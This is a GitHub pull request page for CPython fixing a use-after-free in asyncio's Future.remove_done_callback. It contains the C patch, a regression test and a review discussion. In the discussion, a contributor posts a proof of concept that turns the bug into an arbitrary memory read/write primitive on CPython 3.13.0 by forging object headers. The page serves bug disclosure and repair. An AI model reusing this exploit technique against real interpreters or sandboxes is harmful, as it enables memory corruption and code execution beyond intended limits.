Skip to content

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__ #125967

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 8 commits into from
Oct 27, 2024
Merged

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__ #125967

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
8 commits
Select commit Hold shift + click to select a range
016442c
Fix UAF in `_asyncio`
picnixz Oct 25, 2024
ca7fe77
fix Python implementation
picnixz Oct 25, 2024
f9e21c3
blurb
picnixz Oct 25, 2024
181aadf
update links
picnixz Oct 25, 2024
ef878cb
Revert "fix Python implementation"
picnixz Oct 25, 2024
61de9b6
Merge branch 'main' into fix/future-callback-uaf-125966
picnixz Oct 26, 2024
11870aa
Clarify comment per Guido's request.
picnixz Oct 27, 2024
d98f13c
Merge remote-tracking branch 'upstream/main' into fix/future-callback…
picnixz Oct 27, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions Lib/test/test_asyncio/test_futures.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -999,6 +999,24 @@ def evil_call_soon(*args, **kwargs):
# returns an empty list but the C implementation returns None.
self.assertIn(fut._callbacks, (None, []))

def test_use_after_free_on_fut_callback_0_with_evil__eq__(self):
# Special thanks to Nico-Posada for the original PoC.
# See https://github.com/python/cpython/issues/125966.

fut = self._new_future()

class cb_pad:
def __eq__(self, other):
return True

class evil(cb_pad):
def __eq__(self, other):
fut.remove_done_callback(None)
return NotImplemented

fut.add_done_callback(cb_pad())
fut.remove_done_callback(evil())

def test_use_after_free_on_fut_callback_0_with_evil__getattribute__(self):
# see: https://github.com/python/cpython/issues/125984

Expand Down
2 changes: 2 additions & 0 deletions Misc/NEWS.d/next/Library/2024-10-25-10-53-56.gh-issue-125966.eOCYU_.rst
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
Fix a use-after-free crash in :meth:`asyncio.Future.remove_done_callback`.
Patch by Bénédikt Tran.
7 changes: 6 additions & 1 deletion Modules/_asynciomodule.c
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -1019,7 +1019,12 @@ _asyncio_Future_remove_done_callback_impl(FutureObj *self, PyTypeObject *cls,
ENSURE_FUTURE_ALIVE(state, self)

if (self->fut_callback0 != NULL) {
int cmp = PyObject_RichCompareBool(self->fut_callback0, fn, Py_EQ);
// Beware: An evil PyObject_RichCompareBool could free fut_callback0
// before a recursive call is made with that same arg. For details, see
// https://github.com/python/cpython/pull/125967#discussion_r1816593340.
PyObject *fut_callback0 = Py_NewRef(self->fut_callback0);
int cmp = PyObject_RichCompareBool(fut_callback0, fn, Py_EQ);
Py_DECREF(fut_callback0);
Comment on lines +1025 to +1027
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, could you explain the issue more to me? I don't see any need to explicitly hold a reference here, because we (should) implicitly hold one by holding a reference to self.

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you run the PoC:

import asyncio

fut = asyncio.Future()

class a:
    def __eq__(self, other):
        print("in a __eq__", self)
		print("other is", other)
        return True
    
    def __del__(self):
        print("deleting", self)

class b(a):
    def __eq__(self, other):
        print("in b __eq__")
        fut.remove_done_callback(None)
		print("None was removed")
        return NotImplemented

fut.add_done_callback(a())
fut.remove_done_callback(b())

you would get:

in b __eq__
in a __eq__ <__main__.a object at 0x7f2ef037f4a0>
other is None
None was removed
deleting <__main__.a object at 0x7f2ef037f4a0>
Segmentation fault (core dumped)

If you don't hold a reference to fut_callback0, the issue is that after __eq__, the reference to fut_callback0 will be freed before completing the call because of

if (cmp == 1) {
    /* callback0 == fn */
    Py_CLEAR(self->fut_callback0);  // this clears 
    Py_CLEAR(self->fut_context0);
    cleared_callback0 = 1; 
}

@Nico-Posada Please correct me if I'm wrong here!

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah that's main idea. After running fut.remove_done_callback(None) self->fut_callback0 will be cleared, but then the evil function returns NotImplemented which causes PyObject_RichCompareBool to call fut_callback0's __eq__ func after fut_callback0 has been cleared.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fwiw, here's a POC that shows how you can escalate this to malicious object creation (tested on v3.13.0 on ubuntu 24.04 x86_64)

import asyncio

fut = asyncio.Future()

class a(bytes):
    def __eq__(self, other):
        print("in a __eq__", hex(id(self)), hex(id(other)))
        return True
    
    def __del__(self):
        print("deleting", hex(id(self)))

class b(a):
    def __eq__(self, other):
        global pad
        print("in b __eq__", hex(id(self)), hex(id(other)))
        fut.remove_done_callback(None)
        del pad, other
        print("created ", hex(id(prealloc + fake_obj)))
        return NotImplemented

class Catch:
    __slots__ = ("mem",)
    def __eq__(self, other):
        global mem
        mem = self.mem
        return True

fake_ba = (
    (0x123456).to_bytes(8, 'little') +
    id(bytearray).to_bytes(8, 'little') +
    (2**63 - 1).to_bytes(8, 'little') +
    (0).to_bytes(24, 'little')
)

fake_obj = (
    (0x123456).to_bytes(8, 'little') +
    id(Catch).to_bytes(8, 'little') +
    (id(fake_ba) + bytes.__basicsize__ - 1).to_bytes(8, 'little')
)

prealloc = a(0x8050)
pad = a(0x8000)
to_corrupt = a(0x8000)
print("pad:", hex(id(pad)), "to_corrupt:", hex(id(to_corrupt)))
print("diff:", hex(id(to_corrupt) - id(pad)))

mem = None

# transfer ownership to fut
fut.add_done_callback(to_corrupt)
del to_corrupt

fut.remove_done_callback(b())

if mem is None:
    print("failed")
    exit()

print(hex(len(mem))) # => 0x7fffffffffffffff
mem[id(250) + int.__basicsize__] = 100
print(250) # => 100

if (cmp == -1) {
return NULL;
}
Expand Down
Loading